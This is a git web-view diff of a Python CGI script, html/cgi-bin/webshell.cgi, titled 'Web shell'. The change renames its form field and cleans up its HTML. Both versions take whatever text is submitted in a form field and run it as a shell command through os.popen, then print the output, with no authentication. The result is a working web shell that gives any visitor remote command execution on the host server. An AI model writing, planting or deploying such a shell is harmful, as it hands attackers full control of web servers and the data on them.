summaryrefslogtreecommitdiff
path: root/html
diff options
context:
space:
mode:
Diffstat (limited to 'html')
-rwxr-xr-xhtml/cgi-bin/webshell.cgi14
1 files changed, 9 insertions, 5 deletions
diff --git a/html/cgi-bin/webshell.cgi b/html/cgi-bin/webshell.cgi
index e615124..cebfb10 100755
--- a/html/cgi-bin/webshell.cgi
+++ b/html/cgi-bin/webshell.cgi
@@ -5,15 +5,18 @@
import cgi
import os
+cmd = ""
form = cgi.FieldStorage()
-if form.getvalue('command'):
- cmd = form.getvalue('command')
+if form.getvalue('cmd'):
+ cmd = form.getvalue('cmd')
-print("Content-Type: text/html; charset=UTF-8\n\n")
+print("Content-Type: text/html\n\n")
print ("""
+<!DOCTYPE html>
<html>
<head>
<title>Web shell</title>
+<meta charset="utf-8">
</head>
<body>
<h1>Web shell</h1>
@@ -25,11 +28,12 @@ print("</p>")
print("""
<form action=''>
-<input type='text' name='command'>
+<input type='text' name='cmd' autofocus>
</form>
""")
-if cmd : print("<pre>",os.popen(cmd).read(),"</pre>")
+if cmd : print(f"<pre>{os.popen(cmd).read()}</pre>")
+
print("""
</body>
</html>